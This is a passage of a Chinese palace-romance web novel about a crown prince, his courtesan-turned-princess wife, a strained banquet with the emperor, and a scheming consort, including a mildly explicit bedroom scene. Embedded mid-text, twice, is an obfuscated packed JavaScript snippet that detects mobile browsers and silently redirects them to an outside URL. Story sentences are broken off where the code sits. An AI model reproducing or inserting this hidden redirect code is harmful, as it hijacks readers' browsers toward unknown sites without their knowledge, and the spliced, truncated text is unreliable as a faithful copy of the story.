赵清当然知道,母后在世时,父皇对母后已是厌恶至极,偏母后去世后,父皇又对亡妻多般深情,俞公公从前是母后跟前侍奉的公公,又是看着太子长大的,皇上现在越发倚重他。 “舅舅想说什么?” “陛下的万寿节就要到了,你们父子俩,还要如此这般生疏下去吗?” 唐洪辉耷拉下眉眼来,又语重心长道:“你母后定不会希望你如此的。” “父皇受贵妃蛊惑,已经横竖看孤不顺眼,孤还能怎么做?” 太子这话,是带着气声的,唐洪辉心里憋笑,孩子还没长大呢,瞧这脾气。 就在这时,忽听门外有异声,将军动作快,三两步打开门:“何人在此!” 翠影吓得脸色苍白,她手上端着一盘酒菜,是刚刚专门从厨房的下人那儿接过来的,可送至书房门口时,听见里头谈论起皇上皇后,她觉得惊奇,便站定偷听了起来。 赵清面色严厉,起身朝外走来,见是她,面色稍缓一些。 “威远将军,这是太子妃的丫鬟。” 有外人在场时,太子不会称呼他为舅舅。 赵清抬眸朝稍远处看去,太子妃正站在廊下,距翠影有些距离。 尹采绿一脸疑惑,她刚走至此处,便见书房从里面开了门。 唐洪辉看着翠影,一脸审视。 太子没说什么,却也多问了一句:“太子妃,你到这儿来做什么?” 尹采绿缓慢靠近,忽然不知该怎么说了。 “妾,妾来见过大将军。” 唐洪辉审视的目光从翠影身上挪开,放到太子妃身上。 见到太子妃的样貌,袅袅婷婷,又端端整整,婉婉柔柔,又穆穆雍雍。 不知想到什么,唐洪辉神色温和下来:“臣,给太子妃请安。” 14.今夜的月很圆 尹采绿看着凛凛赫赫的大将军给自己行礼,退了一步,差点没站稳。 还不忘抬手稳稳当当地做了个托举的动作:“将军请起。” 唐洪辉起身后,尹采绿也朝他颔首:“见过大将军。” “太子妃气度不凡,便是陇州崔家教养出来的小姐。” 尹采绿迟疑间,点了头。 赵清抵住书房的门,淡淡瞥了翠影一眼,叫他们:“太子妃进来。” 尹采绿疑惑瞥了眼翠影,不知她来做什么。 刚刚那动静早惊动了文文,文文接过翠影手上的酒菜,亲自端上了桌。 唐洪辉没再纠结刚才的事情,笑容爽朗:“臣见殿下与太子妃恩爱,心中甚慰。” 待文文关了门,唐洪辉又道:“至于刚才说的那些话,也不是全无破局办法,殿下与皇上如今虽已不亲近了,但隔代却亲呀。” 赵清蹙眉,低声斥道:“舅舅,勿要胡言!” 怎可在太子妃面前说这个,胡乱给太子妃添些不应存在的压力。 这话题被太子很快揭了过去,一桌三人,聊聊闲话,吃吃酒菜,也算应付过去一顿。 只尹采绿心中早已胡思乱想起来。 唐洪辉注视了太子妃一会儿,忽道:“太子妃酒量不错。” 尹采绿刚往嘴里倒了一杯酒,手腕滞在空中,愣愣回神。 她酒量在楼里不算最好的,但公子哥儿们仍愿意同她邀酒,都说,采绿娘子被灌醉以后,甚美。 太子掌住她的腰,她放下酒杯,怯怯垂下头:“不算特别好的。” 赵清往她碗里夹了一块糟鹅掌,上次就见她喝酒爱吃这个。 太子妃却没动筷,太子疑惑看她,用眼神询问。 太子妃朝他凑近了些,似是有话要说。 太子便将耳朵凑过去些,在场只一个舅舅,没那么多规矩。 太子妃的声音很小,带着酒味的热气扑在他耳廓上:“有醉蟹吗?妾吃酒时最喜欢吃醉蟹了。” 声音慢悠悠、软绵绵、轻飘飘。 太子又坐正了身子,当真思索起来,可盛京地处中原地带,何处来的蟹。 他朝她摇头:“过阵子孤可替你找找。”今日是没有的。 眼见太子妃眸子沮丧下去,嘴唇微微嘟起。赵清心里怪不得意。 饭后,唐洪辉不愿多待,他见太子新婚之喜,与太子妃自有一番闺房之乐,他不好多叨扰。 “太子今晚便好好陪着太子妃,臣就不多待了。”武将说话没那么含蓄。 太子与太子妃二人好生将威远将军送走。 桌上席还未散。 赵清看太子妃的意思,是要继续吃的。 尹采绿又坐回去,虽没有醉蟹,糟鹅掌她也极爱。 赵清吃到半饱,便不愿再往腹中填东西了。 “太子妃慢用。” 他离席后,坐回书案后方,处理起公务来。 不知怎的,他又晃眼看到了那本《玉屑集》。 他看了眼时而举起玉著,时而浅抿杯盏的太子妃,樱桃小口,慢品珍馐,雅态悠然。 这般风韵,叫人不忘。 悄然翻开《玉屑集》,他想读完她的笔墨,方知她的灵魂。 尹采绿吃酒正至兴头。 黄昏已至,府内各处点了灯,书房里的灯也逐个被内侍点亮。 只她偶尔往太子那处看去时,太子神情专注,似已入定,朗目疏眉,玉面流光。 她只知道,今夜的月很圆,是天枢运转、阴阳合德之兆。 尹采绿指尖轻敲杯盏,打着节拍,轻声哼唱出小曲儿,声音极小。 赵清从诗中抬眸看她,诗文间尽是阴郁之气,而太子妃往常虽也文静守拙,可端庄杂流丽,随分中也总显烂漫。 “太子妃。” 听见太子叫她,尹采绿缓缓歪过脑袋,面上已初见醉意:“殿下。” “过来。” 他朝她伸出手,尹采绿从绣凳上站起身,挪着步子朝太子那儿走去。 太子掌心朝上,尹采绿越走越近,将手放在太子掌心里。 赵清将她牵过来,指着书中一句问她:“太子妃为何会有此感想。” 赵清实在不解,若太子妃生来是个忧郁之人,他今后必要多关心陪伴她了。 尹采绿这才看到他手里拿着的书,心里凉了一片。 薛静蕴的诗文,多喜欢用晦涩、罕见的字词,尹采绿尝试过多次去拜读,都以失败告终。 这太子指着的句子里,她拢共只识得一个“花”字,一个“一”字。 “这……这。”什么感想? 尹采绿一边思索着,一边挪动腰肢。 面上还极认真地看着太子手中诗句。 脸往下凑得近极,轻声道:“这是何意呢?” 赵清腿上悠悠落下了两瓣臀,太子妃正端端坐在他腿上。 “孤问太子妃呢。” 尹采绿琢磨半晌,答:“有花有草的,妾心里,自然是高兴的。” 赵清都没顾得上她为什么要坐他腿上,指着诗中某一句继续问道:“静蕴,你既然是高兴的,为什么这句要这样写。”太子问得很温柔,生怕言语戳伤了她。 尹采绿眼珠子往书里盯得越发用力了,摇着脑袋,似乎在想,换个方向看这个字儿,能不能看明白。 赵清蹙眉看她脑袋,觉得她无论如何不像是能写出“一襟愁绪葬花魂”这样诗的人。 她到底哪儿来的愁绪。 尹采绿心里却想,这句到底是什么东西。 “殿下,这句怎么了吗?” 她扭过身子,面向他,有一种破罐子破摔叫脸不红心不跳地理直气壮。 她眼睛下移,从他的眼睛移到他的唇。 “你读读这句呢?”太子道。 话还没说完,那吻来得很快。 尹采绿往他脸颊上轻啄了一下。 太子面无表情。 “妾不读。” 赵清脸色变得黑了些,只问她:“为什 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他又一次朝她伸出手。 尹采绿摇头,她觉得自己命不久矣。 “太子妃,你过来,孤教你认字。” 赵清觉得,事已至此,也没别的办法了。 太子妃也还是有许多可取之处的,也不好为此就推翻她的长处。 太子妃很好,只是与母后的眼光稍微有那么一些些偏差。 不认字罢了,他教会她不就行了。 想到这儿,他佯装严厉:“孤看你便是小时候调皮,不听夫子的话,这才学了个半竹篓子,在孤这里可容不得你偷懒了,这次必须学会这本千字文。” 说着,他从书架上取下一卷简牍,上面布满了密密麻麻的字。 尹采绿还害怕着,哆哆嗦嗦道:“殿下,殿下要教妾识字?” 赵清手掌还朝她摊开,坐在圈椅中,倚着靠背:“太子妃不识字,那些人要笑话孤,所以太子妃,还请你配合一下,过来认字。” 尹采绿踱步过去,还不忘嘱咐太子:“殿下,妾不识字一事,还请不要与母亲说。” 赵清端详她几眼,道:“你母亲费心送你去外祖家长大,若知道你庸碌至此,定会伤心,孤这就教你学会,定不叫她老人家伤心。” 外祖家疼爱外孙女儿,是常有的事情,薛夫人定也没料到,自己好好一个女儿,竟被溺爱成这般。 再看她执笔写上几个字儿,赵清再次明了,父皇派去陇州的那些人搜集来的书画墨宝,都不是她本人手笔。 看来他得帮太子妃一直瞒下去了。 “太子妃,描摹字体时,背要再端正些,手腕悬空。”赵清抵在椅背上看她。 尹采绿提笔写着写着,小腰一扭,屁股又往太子腿上一坐。 谁叫这里只一把椅子。 撂下笔,扭头看他:“妾累了。” 15.同房日 她宁愿给太子唱首小曲儿,也不喜欢写字。 怪不得,当初妈妈要她全心全意学跳舞和琵琶,却要与她一同入楼的容儿姐姐学吟诗作对。 后来两姐妹一同陪客,各有所长。 太子妃既然累了,太子也不强人所难。 “孤送太子妃回房。” 只是太子妃还坐在他腿上。 “殿下今晚不与妾在一处吗?” 赵清轻声细语道:“孤还有些公务未处理,晚上恐怕弄得晚,静蕴先歇下吧。” 尹采绿稍侧坐了一些,太子已习惯腿上多个人了。 她垂头手指绞着发丝,开口道:“今日是十五。” 赵清方才想起来。 行房一事也不能一直逃避,再说他正值血气方刚的年纪,就算再怎么心疼太子妃,也不好一直拖下去。 “你身体大好了吗?” 赵清牵起她放在腿上的手,将她的手摊在自己掌心上,酥手纤纤,玉软如绵。 他未曾发觉,自己掌心在颤。 尹采绿答:“早已大好了,殿下可是有什么顾虑?” 赵清双臂将她拥起。 “孤听说,那日你身下落了很多红,便一直忧心。” 尹采绿回想起那日,愣了半晌,没想到自己为了保险用上的那血包,竟还牵扯出这样一桩。 “殿下,那都是正常的,妾不疼的。” 赵清只虚虚将她拥住:“太子妃可与孤说实话。” 他也是生来头一次,素来知道男子粗莽,女子柔弱,便是再当心也不为过。 尹采绿摇头,唇角含着羞涩的笑:“不疼,殿下动作很轻,妾很喜欢。” 见她这般模样,赵清耳朵尖也泛起红来。 心中自是落下一块大石,抱她抱得更紧了些。 如此以来,便是那剩下的公务也不顾了,深吸口气,抱着太子妃到了屏风后隔间的榻上。 多日未敢碰她,赵清现在肾气充盈,尹采绿头一回在他脸上看到了急头白脸的神情。 但只一刹那,将她放下后,赵清动作又和缓下来。 手撑在她头侧,刚解了衣带,便道:“孤叫芳嬷嬷来伺候你沐浴。” 尹采绿眨了眨眼,在他面前一向乖顺,此时却偏想逗逗他。 “殿下,妾等不及了。” 她拉住他正要撤开的手掌,放于自己腰上。 “殿下一连冷落了妾好几日,今日是不是该卖力些了?” 赵清耳畔漫起红潮,喉底无声。 “孤抱你去沐浴。” 他撤开手,说了这么一句。 善静善和与芳嬷嬷一同,进来备了浴桶。 互相对视一眼,就知道把太子妃的起居用物搬过来一套是对的,这不就用上了。 三人手脚麻利,很快备好。 善静善和接过太子妃,很快将她打理收拾起来。 太子自去一旁整顿自身。 太子与太子妃同房有一套规矩,沐浴净身、熏香布置,一样都不能少。 上回在书房便是急匆匆的,芳嬷嬷这回可要替他们做好万全的准备。 趁着二人还没沐浴完的时候,独自出来,给香炉里的檀香换成了苏合香,又给床榻重新铺整了一遍,四周挂上红帐子。 不一会儿,二人出来,芳嬷嬷忙退出去,关门前还不忘多说一句:“奴婢们就在门外候着,太子和太子妃有事便吩咐。” 说完,拉着文文急忙退了出去。 尹采绿已穿着纱衣坐在床边了,赵清踱步过来,掌住她的肩,缓缓将人放倒,倒也不多言了。 太子将她放倒后,也上了榻。 二人先是并排平躺,过了一会儿,太子的手放上她的腰,另一只手肘稍微支起来身子一些。 尹采绿将眼睛睁开一条缝,太子已将她衣服剥开了。 二人先是交颈亲吻了一会儿,太子吻技较之前要娴熟一些。 撤开唇往下走时,尹采绿昂着脖颈,还有些不舍他。 赵清伸手探她,又抬头眉目认真对她道:“孤从前没有经验,太子妃要多包涵。” 尹采绿伸手掌住他的头,往上托了托。 赵清没意料到。 两人便又吻上,太子含住太子妃的唇,轻轻吮吻,一下一下的,节奏很是规矩。时而舌尖相触,也是浅尝辄止。 太子略往下探了一番,只觉指捻处黏滑,是时候了。只是难免还要谨慎一番,多问一句:“可有不适?” 尹采绿摇摇头,头埋在他颈间,声音很小:“没有。” 接下来自不必多说,太子也自有他的一番节奏。 只尹采绿被磨得不上不下实在没有办法时,掐着太子的胳膊多说了一句:“殿下,刚刚那样就挺好的。” 尹采绿觉得款款而来的温柔浅磨总不如起伏难持之感来得热烈。她有时候真想翻身做主了。 赵清隐忍间,臂上青筋毕露。 芳嬷嬷在门外都快打起瞌睡来了,只觉今晚过得格外漫长。 “善和,你去守着炉子,随时备好热水,我先打个小盹儿。” “嬷嬷先歇会儿吧,奴婢去看着就是。” 水是一直得备着的,有时候主子兴起了,丫鬟们整日都歇不下来,一波水刚送进去,不一会儿,又叫第二波了。 “只是太子与太子妃今日怎的折腾了格外久。” 芳嬷嬷还不忘睁眼低声训斥一句:“不可议论主子。” 善静道:“可里头没声儿了,奴婢是在想,别是早歇下了吧。” 就在善静这话音刚落下的一瞬,里头又有声响了。善静觉得,那像厨房里握着木杵捣蒜的声音,又像她与善和一起晾一条刚洗过的棉被时,一人拉着一头用力抖动的声音,湿润而沉钝。 这回比往常的动静都要来得大,来得久,等芳嬷嬷一个盹儿打醒了,这声儿也停了。 忙张罗着:“快,备浴桶。” 赵清从榻上翻身起来,披上外袍,亲自替太子妃擦拭了,又见她面色红润、嘴角含笑,撩过她额前的发。 汗流珠点点,发乱绿葱葱。 太子温声道:“芙蓉不及美人妆。” 太子妃檀口微张,轻喘着气,叹了一声,翻过身去。 她不禁想着,太子若使全力,真是叫她险些承不住呢。 分别沐浴好,并排各自睡去。 卯时,太子去上朝前,对太子妃道:“孤申时回来接你,晚上宫中家宴,父皇吩咐的。” 尹采绿睁开眼,太子正站在榻前穿衣,金黄色的蟒袍加身,头戴顶衔红宝石的冠冕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尹采绿便知她是有话要说,便放下笔,耐着性子看向她。 她对翠影说不上是有什么不满,翠影是薛夫人的人,尹采绿不愿得罪,敬着最好。 “翠影,有什么事?” “一连几日过去了,我就是来问问你,夫人说的事情,可有进展?” 翠影见她端端坐着这般模样,腹诽:自她成了太子妃,架子还真给她端起来了。 尹采绿侧头,原来是说爵位承袭一事。 她早说过了,太子也早就答应了,就等皇上的意思了。 尹采绿朝翠影抿唇笑:“翠影,你放心吧,我已经向殿下提过此事了,不过殿下说,他做不了主,只能问问皇上。” 翠影蹙着眉,她昨天在书房外偷听到,太子与皇上现在关系并不好,说不定他自身都难保了。 尹采绿就听见翠影没头没尾的一句:“也不知夫人当初让你嫁太子到底对不对,别从一开始就走错路了。” 当初二小姐名声在外,就算不嫁太子,京中择一高门公子,也是随意可为的。 不过眼前人不是二小姐,她嫁给太子,太子赢了,薛家一同沾光,太子输了,她便自己承受。 尹采绿听着翠影又叽叽歪歪说了一堆什么,她也不进脑。 见文文从远处过来,翠影才闭了嘴。 文文面上高兴,尹采绿便问他:“文文,你怎么笑得这么高兴?” 文文道:“殿下今日也不知怎么的,在殿上竟与三皇子吵起来了。” 16.家宴 尹采绿脸色一变,翠影脸上更是不好看。 文文又道:“太子妃不知,从前这三皇子就喜欢在咱们殿下面前寻衅挑事,无事生非,但咱们殿下从不理会他,任由他胡乱攀咬。皇上虽有时真的信了三皇子的,也顶多骂上殿下两句,倒是从没真正罚过殿下。” “今天可不一样了,三皇子今日早朝上又想挑咱们殿下的错处,却没想到,咱们殿下直接高声吵了回去。” 说到这儿,文文还想感慨几句,殿下向来是个体面人,何时这样过。 可要论辩才,三皇子哪是太子的对手,当初不过是仗着太子进退皆循君子之礼,便以为太子真无反抗之力。 “太子今日是怒发冲冠,金声玉振,直教群臣俯首。” 尹采绿怔得瞪大了眼,想象中的太子,无论如何不似那般模样。 翠影也很惊讶,虽是如此,可吵起来又有什么用呢,还不是得看皇上站在谁那一方。 文文又道:“太子妃您猜怎么着,太子在朝上怒斥了三皇子这么一番,皇上竟还笑了,还当着文武百官的面向三皇子道‘长兄训诫,你还不牢记警醒?’” 尹采绿眼眸发亮,怪不得文文笑得那么开心呢,要是她吵架吵赢了也那么高兴。 “那殿下往常为何从来不与三皇子争辩?” 文文道:“太子行得端做得正,不屑与之争辩。” 太子的确是不屑,他冷眼看着高堂上的父皇,那时候倒是在想,若父皇真的信了三皇子所言,该昏庸至极了,那他争辩再多也是白费口舌。 文文没说,皇上越是不理太子的时候,太子也越是不爱理皇上,便是一种“你愿意信他的就信他的”态度,自不会为自己争辩什么。 尹采绿又拉着文文问了些朝堂趣事,文文都挨个给她答了。 诸如“哪位大臣家里妻妾最多?”“哪位大臣权力最大?”“哪位大臣最疼夫人?”一类的问题。 翠影一直站在太子妃身后,垂头默默盘算着。 想得最多的不过一个问题:太子之势要比想象中大,眼前人,还真能当上皇后不成? 就她?一个夫人随地捡来的乞丐?她的命当真就这么好? 她当初刚到船上时,还要多处仰仗翠影呢,她们照顾她,收拾她,在船靠岸前,将她一点一点变成了千金小姐的样子。 便在文文离去,只她们两人在的时候,脱口而出:“夫人吩咐,让你抬我做太子侍妾。” “啊?”尹采绿脑中还回想着刚才的趣事,一时没反应过来。 翠影又说了一遍,补充:“是夫人的吩咐。” “哦。”是夫人的吩咐啊,那她得办。 “那要怎么抬啊?”尹采绿抬眸望向翠影,真诚发问。 翠影不是没想过自行与太子接触,有机会就爬床,可太子始终未正眼看过她,爬床更是毫无机会。 何不直接命令太子妃呢。 “可是翠影,你不是喜欢大公子吗?”尹采绿忽然想起这一茬,歪头问道。 翠影脸色大变:“你如何得知?” 尹采绿眨眨眼,她从前在风月之地干了那么多年,谁对谁有情,一眼便能看出来,这有什么难的。 “我不仅知道你喜欢大公子,我还能看出来大公子也对你有情。” 此情非彼情,尹采绿偏能看出来,大公子对翠影,就像楼里的恩客对姑娘,是盯着她屁股看的那种情。 翠影面色柔和下来:“你说的是真的?” 尹采绿点头:“是真的呀。” 翠影面色又冷下来:“你莫不是不想将我抬给太子,胡乱找来骗我的话。” 尹采绿张了张嘴,无奈道:“那,那我抬,我抬还不行吗。” 否则翠影一定又要叨叨什么“别忘了你这太子妃之位是谁给你的”、“你必须听命于薛家”之类的话。 临近申时,芳嬷嬷引着太子妃去更衣。 尹采绿有些紧张,视线一直落在芳嬷嬷身上。 芳嬷嬷对她道:“太子妃别怕,又不是第一次进宫了。” “可太子说,今日是家宴。” 芳嬷嬷笑道:“那就更不必害怕了,家宴没什么规矩的。” 之前虽见过皇上几次,却都是隔着远远的距离,没有当真接触过。 听这家宴的意思,倒是要坐在一个桌子上吃饭的意思。 尹采绿颇有些紧张。 不一会儿,芳嬷嬷将她装扮好,善静要来给她上些妆。 尹采绿刚刚便叫翠影去前院候着太子去了,这抬举翠影的第一步,便是设法让她多与太子接触接触。 善静给尹采绿描了一对儿弯曲而细长的柳叶眉,又在眉心绘了彰显身份的花钿,簪了满头珠翠。 尹采绿望着铜镜里的自己,眼剪秋波,唇含绛色,她喜欢得紧。 “善静,这叫什么妆面?” 善静道:“是近日盛京里正时兴的秋黛妆。” 见太子妃高兴,善静多问了一句:“奴婢见太子妃点了妆后,越发明艳动人了,往后也可多尝试尝试。” 尹采绿点点头,手扶着鬓绾金钗:“好啊。” 随着一声内侍高喝:“太子驾到——” 太子已换了紫袍玉带,广袖翩跹,行仪落落。 尹采绿坐在绣凳上望向他,倒是眼珠子大大的,极为有神,左看看右看看。 “太子妃,瞧孤什么呢?” 尹采绿抿唇笑起来:“看殿下今日是如何与人吵架的。” 赵清瞥了文文一眼,如今已是温言款语:“太子妃勿要听旁人胡说,可收拾妥当了?该与孤出发了。” 尹采绿又往铜镜里看了看,问太子道:“妾今日妆面如何?” 太子俯身,视线移入铜镜里,与太子妃对视片刻,凑她耳边气声道:“人间千般色,不及卿卿半缕妆。” 尹采绿脊背泛起酥酥痒意,作嗔笑状,两道眉弯起。 太子已挺直了腰,危襟正立。 二人并排出来,翠影正站在门外,尹采绿淡淡瞥了她一眼,也不知她刚刚与太子搭上话没。 “太子妃,奴婢陪您进宫。” 尹采绿本是想点善和陪自己进宫伺候的,可翠影发话了,她也不能拒绝。 翠影正要跟上,怎料太子指了正站在角落里的竹萱:“你跟着太子妃伺候。” 翠影面上一阵错愕,竹萱一向不引人注目,怎会突然引起太子注意。 莫非,夫人并不止跟她一个人说了那话? 翠影心底骤然升起危机感,若是从前,她还有些犹豫,毕竟选择权在自己手上,可若是竹萱也要上位,她绝对接受不了竹萱将来爬得比她高。 成为太子侍妾,这可是一步登天的事儿。 赵清只是念着翠影和竹萱是太子妃贴身的丫鬟,太子妃用起来总归是比善静善和两个要放心,可这叫翠影的丫鬟最近看起来不老实,他便替太子妃点了竹萱来 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二人起身后,赵渊顶着自己母后的目光,又同三皇子妃朝太子见了礼:“给太子兄长请安,给太子妃嫂嫂请安。” 盛宇帝站起身,走至圆桌上位坐下,没看太子,话却是对着他说的:“贵妃说,自你成婚后,一家人还没一起吃过饭,便张罗了今日这一桌席面,过来坐下吧。” 皇上身侧分别是贵妃和太子落座,紧接着是三皇子和太子妃,三皇子妃坐在太子妃身侧。 尹采绿只翻起一个眼角,小心瞥向太子,原来是没了亲娘便要在后娘手底下讨生活的孩子,怪可怜的。 皇上话音刚落,贵妃便道:“这都是本宫应该做的,皇后姐姐不在,本宫做再多也是应该的。” 盛宇帝越发体恤贵妃,贵妃别的不说,做事总是好的,他平常合该多宠着她些。 太子没开口说话,他实在不知该说些什么。 舅舅叫他与父皇缓和些关系,他倒想知道,他要如何与父皇缓和关系。 连这家宴,都是贵妃操持的,父皇还为此沾沾自喜,巴不得叫他感谢贵妃。 父皇怎的不说是自己想与儿子儿媳吃顿饭呢。 见太子又是这般不肯轻言的模样,盛宇帝难免又有些生气了。 贵妃是个热心肠,他怎的这般不领情。 “太子,你这般冷眼,是不想与朕吃这顿家宴吗?” 尹采绿心里吓了一跳,皇上怎么待太子这般凶。 “儿臣不敢。”太子伸手躬身。 “父皇,太子兄长只是对儿臣母后不满罢了。” 三皇子悠悠开口。 盛宇帝蹙眉,不懂太子缘何要对贵妃不满,贵妃只是他的一个宠妃罢了,又没叫他不上早朝,更没叫他误国。 可质问太子之前,却先是呵斥了三皇子:“勿要对你兄长不敬!今日他训斥你的那些,这么快就忘了吗?” 转头又朝太子斥道:“今日早朝上的气势都跑到哪里去了?” 他便是最看不惯太子这般不爱说话的样子,太子真就一句多余的话也不跟他说。 太子一襟兰气,温声款语:“父皇,太子妃在此。” 所有人都要发火的时候,他偏是一副温柔敦厚的模样。 尹采绿头埋得低低的,姿态清冷,实际上心里都快怕死了。 皇帝瞅了眼刚过门的儿媳,火气忽然就熄了。 17.小白兔 三皇子被父皇吼了一顿,脸色黑了大半,再没敢言语。 贵妃脸上虽笑着,心却是冷的。 皇上无论表面上对太子多么不满,可在他心里,他们娘俩永远也是越不过太子去的。 太子就是太子,宠妃只是宠妃。 盛宇帝面色和缓下来,看向太子妃,压低声音道:“太子妃,看看桌上爱吃些什么?多吃。” 声音还是顿挫分明的严厉,尹采绿强忍住哆嗦,当真执起筷子在桌上寻觅起来。 内侍们都立得远,无人布菜,胆子小的与皇上坐在一桌,只怕一顿下来也不敢夹两口菜吃,好在尹采绿向来是个心大的。 尹采绿朝那盘金丝响脆鳝夹去,这是从前在江南时就爱吃的菜。 别看她从前生活在市井,玉笙楼却是江南一顶一的繁华场所。 飞檐斗拱、琼楼玉宇,玉盏金樽、琥珀光摇,什么好东西她都是见过的。 盛宇帝低笑两声:“爱吃脆膳,多吃。” 吓得尹采绿筷子里的脆膳又险些掉下去。 三皇子妃蒋氏默默看了三皇子一眼,自她嫁入皇家以来,父皇还未曾主动与她说过一句话,皇上表面待三皇子更为热络,为何待她却…… 过了一会儿,内侍呈上来一道冰镇醉蟹,陈年花雕泡过的,酒香四溢。 尹采绿默默吃着碗里的,眼珠子悄然亮了。 盛宇帝指着三皇子道:“你母妃最爱吃醉蟹,你还不快拿上钳子替她弄。” 贵妃娇嗔着剜了皇帝一眼。 “还是臣妾自己来吧。” 贵妃正要动手,被皇上握住了:“蟹壳坚硬,当心伤了手。” 二人看上去恩爱非常。 尹采绿悄声看着眼前一切,本来是要上手直接拿来嗦的,生生顿住了动作。 若是只拿钳子挖着吃,那岂不是丢了许多风味。 她不动,太子已拿起钳子帮她弄了,不一会儿,弄出一小盘子蟹肉到她跟前。 虽失了灵魂,但是太子亲手剥的,尹采绿芳心暗动,心里面情意绵绵。 三皇子也替贵妃拆了一盘,贵妃只作势尝了两口,便没再动了,谁会当真把碗里的东西吃完呢。 “皇儿,不必再弄了,母妃不用了,你瞧瞧太子,你便也替三皇子妃拆一些吃吧。” 蒋氏忙道:“母妃,臣妾不爱吃。” 赵渊也道:“儿子忙着伺候父皇跟母妃都还来不及呢,父皇,儿子再给您拆几只。” 尹采绿突然觉得碗里的蟹肉不香了,尤其是看着拆得没有她吃得快的手上动作不停的太子。 她手伸进桌下,悄悄扯了扯太子的衣袖,意思是,叫他也有点眼力见,别光往她碗里弄。 可惜太子顶没有眼力见儿。 盛宇帝朝三皇子摆手:“罢了,你自己吃,俞光,你来给朕拆几只尝尝。” 俞公公垂首过来,动作麻利干起活来。 “太子,你自己也吃些,别光顾着太子妃。” 盛宇帝瞧着眼酸得很。 太子只道:“太子妃乃儿臣正妻,儿臣便是什么也不顾,也要先顾着她的。” 这话说出来,谁不知道是意有所指。 皇上当年不爱重皇后。 爱重不光是尊她敬她,更藏在这些生活的细节里。 尹采绿被这话吓得够呛,连忙拉拽太子衣袖,随时准备下跪。 太子伸手下来一把握住了她的,掌心温厚,紧紧握着。 盛宇帝鼻孔出气:“太子,你是储君,无论什么时候都该首先顾着自己!” 尹采绿感觉握着自己的手十分用力,捏得她有些疼。 “父皇当初但凡愿意在这些无关痛痒的小事上顾着母后哪怕一点,母后也不会早早崩逝。”面色却是如常般端然。 盛宇帝气得胸膛起伏:“你大胆!” 场上便是跪倒了一片,唯剩父子俩剑拔弩张。 尹采绿吓得连忙甩开太子的手,哆哆嗦嗦跪下。 赵清捏着空荡荡的掌心,暗自后悔,吓到太子妃了。 自己陪着父皇还有贵妃这一家三口,吃了多少年的饭了,何故就今日忍不了,说了些没用的气话。 许是他与太子妃坐在这张“家宴”上实在显得孤立无援,对面一家子其乐融融,若是他母后还在,太子妃在这桌上何至于这般小心翼翼。 太子与皇帝僵持半刻,太子先低了头。 盛宇帝挥手:“都起来坐下。” 众人才又从地上起来坐下。 贵妃伸手抚着皇上的胸膛:“陛下别生气,太子心里原是一直憋着气呢,叫他抒发出来也好。” 盛宇帝不想提起先皇后的事,更不想就此事与太子争论。 事情都已经过去那么久了,太子的性子越发温和。 可这温和,却没有一点是朝着他父皇的。 对他父皇只有揖让周旋,礼数恭敬,面容冷得跟冰霜似的。 “太子,朕不会有错。” 良久,皇帝隔着不大的圆桌对太子说了这么一句。 太子垂首:“父皇是真龙天子,自然不会有错,刚才是儿臣妄言,还请父皇降罪。” 再没有刚才那股气势,此时温言如玉,举止谦恭。 “嗯,坐下吃饭。” 尹采绿早已吓得魂儿都要丢了。 给自己盛了一碗金汤佛跳墙,好压压惊。 盛宇帝见状,又低笑了两声。 自己儿子不领情,儿媳妇总是领情的。 “太子妃,朕见你爱吃蟹,厨房里还剩了一筐刚从南边送进宫的蟹,你便拿回去吧。” 尹采绿不敢接受,又实在想吃,正要迟疑着望向太子,太子却替她答了:“儿臣替太子妃谢过父皇。” 尹采绿便也道:“臣妾谢过父皇。” 饭后,盛宇帝一腔怨气无处发泄,瞧着端身玉立的太子,气更是无发泄之处。 又瞧见太子身旁站着的娴静女子,面色慈和下来了大半。 “给太子妃赏些东西。” 过了一会儿,不知又想起些什么,朝着太子妃道:“太子前阵子提起薛家承爵一事,朕知道了,过几天会有圣旨到薛府的。” 薛家既然出了个太子妃,让他们把爵位再多承一代也没什么,但薛家下一代若还是这般庸碌无用,想承爵就没这么容易了。 “太子,跟朕到太和殿议事,说说南方藩王一事办得怎么样了。” 盛宇帝由俞公公伺候着往外走,太子跟上,尹采绿面露慌张,想要跟上去。 赵清制止她:“太子妃先行回府。” 尹采绿愣愣止住脚步,看着他随皇帝的步伐走远。 父子二人都不喜乘轿,在这皇宫里,能靠步行的便都是靠步行。 父子俩在夜色中远去,步幅之大,衣摆唰唰作响。 张贵妃凑近上来,显得太子妃越发像个误入狼窟的小白兔。 “太子妃,到本宫那儿去坐会儿吧,三皇子妃也一起,你们妯娌之间,也该多说说话儿。” 尹采绿想拒绝,又不知如何拒绝。 太子让她先回去,贵妃却叫她再坐会儿。 可贵妃上次见面还赏了她东西,应是个好人。 便,便去坐会儿吧。 也容不得她拒绝的,贵妃身边两个嬷嬷上来,并排夹着太子妃,入了延禧宫。 “太子妃,你可知错。” 尹采绿瑟瑟抬头,贵妃坐在高堂上问她,面色严厉,已换了副言辞。 她直觉该跪下,却只垂下了头:“臣妾有何错?” “今日皇上与太子起了争端,皆是因为你,皇上不愿与你计较,你以为本宫就能放过你吗?” 张贵妃看不惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553612|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她与先皇后一般模样,自以为娴静守礼,实则愚情寡淡至极,令人生厌。 尹采绿腹中暗斥不已,什么叫因为她? 贵妃却是打定了主意今日要整治她一番。 “便罚你,今晚跪着抄完这本经书。” 张贵妃在软榻上慵懒躺下,哼,瞧她这副规矩模样,定会老老实实去抄的,蠢妇一个。 尹采绿当然不敢不抄,她出嫁前薛夫人便是多次耳提面命,要她务必恭顺,皇宫里面,谁也不能惹,方能保命。 可她若是抄了,她的字不仅丑,还与薛静蕴的大不一样,那不是露馅了。 还不等她回答,那两个嬷嬷又上来架着她。 尹采绿小腰一扭,挣脱开:“贵妃娘娘,臣妾知错了,还请不要惩罚臣妾。” 